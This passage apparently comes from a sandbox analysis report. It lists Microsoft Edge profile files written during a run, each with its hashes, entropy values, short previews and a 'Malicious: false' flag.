SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.150714860925613
Encrypted:	false
SSDEEP:	6:HKACjiB1923oH+Tcwtk2WwnvB2KLlVKWM+q2P923oH+Tcwtk2WwnvIFUv:b3MYebkxwnvFLvM+v4YebkxwnQFUv
MD5:	B7946875447BDF019E171D2367203D6D
SHA1:	534D4F4184BD1EF2E52592710AAEAEDC5A2D1DD6
SHA-256:	D50592851581A5F82DE6444341E46BB7A347AFD24BE89BE32341FAA918854D00
SHA-512:	B4A8098D5C8006CD9E789F78D2611D609FB60BD6AEF16C1928F74F6A196D9D2C2D0049C867F8F617035CD27D7CC7C0914B3CA8301CB87568F4B41DACB6023C44
Malicious:	false
Preview:	2024/11/28-00:48:26.033 22fc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/28-00:48:26.065 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324609109640821
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R2:C1gAg1zfvu
MD5:	6B47391EC019C2CC550393A4F9507B45
SHA1:	2A82F0A37F939E31BA4B55D2D4B092FFDAD8861F
SHA-256:	886B45BAD07834A001AE908206A17DBEEFAF6865B08C11E2248E99937D099706
SHA-512:	2362E23327968103A8159365BDF47B737E0B7B52CECD6C9F815E5E022587798B307696B07DA8F01AAB04AF722309793E809C67EEFF1E9D5800A56A93F4853DCA
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.150791221657088
Encrypted:	false
SSDEEP:	6:HKn+q2P923oH+Tcwt8aPrqIFUt8YKQZmw+YKrHNVkwO923oH+Tcwt8amLJ:bv4YebL3FUt8w/+LT5LYebQJ
MD5:	6E9A019BC54070205D9D6BE7AE6FBA44
SHA1:	61868653FD4CFD83A7BB13CEC524EF9216C57C44
SHA-256:	6CEA17F58028C7EC60594FDBB6CECC5766541DBB0D63FDF345C09DF0981535B9
SHA-512:	72CCACC70A71488967D9F993D94906F0EC69EC1A6140052F5C15FEB83E60EA236ABCD29B997A085424B798AF5F96328EC278D7FC13F45DFB19504B342B7D0B0F
Malicious:	false
Preview:	2024/11/28-00:48:20.195 818 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/28-00:48:20.196 818 Recovering log #3.2024/11/28-00:48:20.197 818 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.150791221657088
Encrypted:	false
SSDEEP:	6:HKn+q2P923oH+Tcwt8aPrqIFUt8YKQZmw+YKrHNVkwO923oH+Tcwt8amLJ:bv4YebL3FUt8w/+LT5LYebQJ
MD5:	6E9A019BC54070205D9D6BE7AE6FBA44
SHA1:	61868653FD4CFD83A7BB13CEC524EF9216C57C44
SHA-256:	6CEA17F58028C7EC60594FDBB6CECC5766541DBB0D63FDF345C09DF0981535B9
SHA-512:	72CCACC70A71488967D9F993D94906F0EC69EC1A6140052F5C15FEB83E60EA236ABCD29B997A085424B798AF5F96328EC278D7FC13F45DFB19504B342B7D0B0F
Malicious:	false
Preview:	2024/11/28-00:48:20.195 818 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/28-00:48:20.196 818 Recovering log #3.2024/11/28-00:48:20.197 818 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.0936211806708656
Encrypted:	false
SSDEEP:	6:HKfN9+q2P923oH+Tcwt865IFUt8YKgZmw+YKQVkwO923oH+Tcwt86+ULJ:A4v4Yeb/WFUt8A/+o5LYeb/+SJ
MD5:	3E7E411E6CD245BD9B12F65B8E454275
SHA1:	41E0045266ADD1CFE89579AB878A497FEDA5F535
SHA-256:	7599DA43CAA5D4EF669EC91BF71467B0559D205A6BE1DD7100F3A4A69535B0AA
SHA-512:	4C3E580058FB84ADD22E4A57254F57834622A40576066AE294BDA65849AB27DB4543FB59A326F299167480E59876121B5B9060ED9D48927ED53BEDA3168E5AC7
Malicious:	false
Preview:	2024/11/28-00:48:20.308 818 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/28-00:48:20.310 818 Recovering log #3.2024/11/28-00:48:20.310 818 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.0936211806708656
Encrypted:	false
SSDEEP:	6:HKfN9+q2P923oH+Tcwt865IFUt8YKgZmw+YKQVkwO923oH+Tcwt86+ULJ:A4v4Yeb/WFUt8A/+o5LYeb/+SJ
MD5:	3E7E411E6CD245BD9B12F65B8E454275
SHA1:	41E0045266ADD1CFE89579AB878A497FEDA5F535
SHA-256:	7599DA43CAA5D4EF669EC91BF71467B0559D205A6BE1DD7100F3A4A69535B0AA
SHA-512:	4C3E580058FB84ADD22E4A57254F57834622A40576066AE294BDA65849AB27DB4543FB59A326F299167480E59876121B5B9060ED9D48927ED53BEDA3168E5AC7
Malicious:	false
Preview:	2024/11/28-00:48:20.308 818 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/28-00:48:20.310 818 Recovering log #3.2024/11/28-00:48:20.310 818 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1506762861632565
Encrypted:	false
SSDEEP:	6:HKLQ+q2P923oH+Tcwt8NIFUt8YK/JmWZmw+YK/JNVkwO923oH+Tcwt8+eLJ:0Q+v4YebpFUt8f0W/+fDV5LYebqJ
MD5:	E68CF35AF87636E72BBB38622E3EDFFC
SHA1:	3CFBFBEE33974FF69D9822FDBA70469CDA10CE2F
SHA-256:	67DCA991F403E246CCEEBA1EAC6E317339FA096991DE4510227EB215453F2942
SHA-512:	BF5A5AE604310F507A77DBD6E48D3E04FC91B772C50CDCF8EA0925EDA56C7ED477B11004B4AD9B971D255FC4726782718613C6050225A5F00C3CC4039FA9AB3C
Malicious:	false
Preview:	2024/11/28-00:48:20.990 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/28-00:48:20.991 1d5c Recovering log #3.2024/11/28-00:48:20.991 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1506762861632565
Encrypted:	false
SSDEEP:	6:HKLQ+q2P923oH+Tcwt8NIFUt8YK/JmWZmw+YK/JNVkwO923oH+Tcwt8+eLJ:0Q+v4YebpFUt8f0W/+fDV5LYebqJ
MD5:	E68CF35AF87636E72BBB38622E3EDFFC
SHA1:	3CFBFBEE33974FF69D9822FDBA70469CDA10CE2F
SHA-256:	67DCA991F403E246CCEEBA1EAC6E317339FA096991DE4510227EB215453F2942
SHA-512:	BF5A5AE604310F507A77DBD6E48D3E04FC91B772C50CDCF8EA0925EDA56C7ED477B11004B4AD9B971D255FC4726782718613C6050225A5F00C3CC4039FA9AB3C
Malicious:	false
Preview:	2024/11/28-00:48:20.990 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/28-00:48:20.991 1d5c Recovering log #3.2024/11/28-00:48:20.991 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:adlZvtFlljq7A/mhWJFuQ3yy7IOWUUV4dweytllrE9SFcTp4AGbNCV9RUI7:MLk75fOOV4d0Xi99pEYx
MD5:	C79BB16819A53F4743CF3F515C482073
SHA1:	5D14794F46C5BF0A470F64030A932777E1D29773
SHA-256:	EC74CD8A46B942C91E8AC9027CDD089A0A2EB7A6BF8BC6BE36F3BEC6FFCA26D3
SHA-512:	69119906FAC97E8E2501AE60E18CF259C2826DFF85F5903D30D68CA31086A89E65745991028544E6E5954583C0395A69A830C070AA54C8E34A58B29BF5A132C3
Malicious:	false
Preview:	..............]j...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6477105029455696
Encrypted:	false
SSDEEP:	384:aj9P0OP/Kbtfjly773pLCcXQkQerWhCgam6ItRKToaAu:adBP/yly7rXe2Wv9RKcC
MD5:	A673CB29B93730A51154BE8648AA2029
SHA1:	F60F7F2CFA1D5F7F07D4598B2928E9848AEC83F3
SHA-256:	6D9B5686E8B95D293D09CE7F95138673C82EC0EE26CB050707FC96D7A2EED69D
SHA-512:	9A6731C096909C2157E236A949B4658DC394496D986D3F79AD5D4D447CAEB5EE7ABA8D08F7C1905B33912044EB7F26FFADAAE4AB3872EE3C265528BC4FA1DE31
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.285544830312946
Encrypted:	false
SSDEEP:	12:u+v4Yeb8rcHEZrELFUt8WW/+dV5LYeb8rcHEZrEZSJ:n4Yeb8nZrExg8WtLYeb8nZrEZe
MD5:	D7C7225E62730721BCC58E85E2580A0A
SHA1:	784208A7CFE2341D483B94A670518C893A346BB3
SHA-256:	5A84996F576FDC1280167C1BEA16EC43522668AAC2C8B90C2895A20AA7B471DE
SHA-512:	52F6A0FDA7BCA9A7E75C6C234EA9762B69E093957E65D048972553EC3E58BCA1A425C416B04C37CFEF57ECD0109166F5849E312B10C74FEB21D1B4F79E5792CD
Malicious:	false
Preview:	2024/11/28-00:48:25.479 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/28-00:48:25.479 1d5c Recovering log #3.2024/11/28-00:48:25.479 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.285544830312946
Encrypted:	false
SSDEEP:	12:u+v4Yeb8rcHEZrELFUt8WW/+dV5LYeb8rcHEZrEZSJ:n4Yeb8nZrExg8WtLYeb8nZrEZe
MD5:	D7C7225E62730721BCC58E85E2580A0A
SHA1:	784208A7CFE2341D483B94A670518C893A346BB3
SHA-256:	5A84996F576FDC1280167C1BEA16EC43522668AAC2C8B90C2895A20AA7B471DE
SHA-512:	52F6A0FDA7BCA9A7E75C6C234EA9762B69E093957E65D048972553EC3E58BCA1A425C416B04C37CFEF57ECD0109166F5849E312B10C74FEB21D1B4F79E5792CD
Malicious:	false
Preview:	2024/11/28-00:48:25.479 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/28-00:48:25.479 1d5c Recovering log #3.2024/11/28-00:48:25.479 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.128067743536498
Encrypted:	false
SSDEEP:	6:HKCX4q2P923oH+Tcwt8a2jMGIFUt8YKwT8LJZmw+YKMUxDkwO923oH+Tcwt8a2jz:p4v4Yeb8EFUt8QTyJ/+LD5LYeb8bJ
MD5:	AD7670BB92E3C21473346768C50CEBD1
SHA1:	601F1AAF4EDFBE1CFDD0210A3EBE334335A63C45
SHA-256:	39E9FC2AA71622C182BFF4DF10D204AEABDB064D8BFEEEEDCB8E92D73FE47A45
SHA-512:	FE6252ECCC1DEDC734F236C83B05E872BEFE459145411EBE12E69DE52940C2C19BF8C2A318481880DABBE4E8763F2415444CB2D072C3D06E47B123FACCD6BFB5
Malicious:	false
Preview:	2024/11/28-00:48:20.628 1d64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/28-00:48:20.636 1d64 Recovering log #3.2024/11/28-00:48:20.641 1d64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.128067743536498
Encrypted:	false
SSDEEP:	6:HKCX4q2P923oH+Tcwt8a2jMGIFUt8YKwT8LJZmw+YKMUxDkwO923oH+Tcwt8a2jz:p4v4Yeb8EFUt8QTyJ/+LD5LYeb8bJ
MD5:	AD7670BB92E3C21473346768C50CEBD1
SHA1:	601F1AAF4EDFBE1CFDD0210A3EBE334335A63C45
SHA-256:	39E9FC2AA71622C182BFF4DF10D204AEABDB064D8BFEEEEDCB8E92D73FE47A45
SHA-512:	FE6252ECCC1DEDC734F236C83B05E872BEFE459145411EBE12E69DE52940C2C19BF8C2A318481880DABBE4E8763F2415444CB2D072C3D06E47B123FACCD6BFB5
Malicious:	false
Preview:	2024/11/28-00:48:20.628 1d64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/28-00:48:20.636 1d64 Recovering log #3.2024/11/28-00:48:20.641 1d64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2565b2d9-e4a0-4f87-ad2d-3cfcdef177b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2ab1a6d8-8519-4770-b92d-5e270a70b81d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2c79d9d9-9d83-4b3e-ac8a-7c41dc98d8ae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
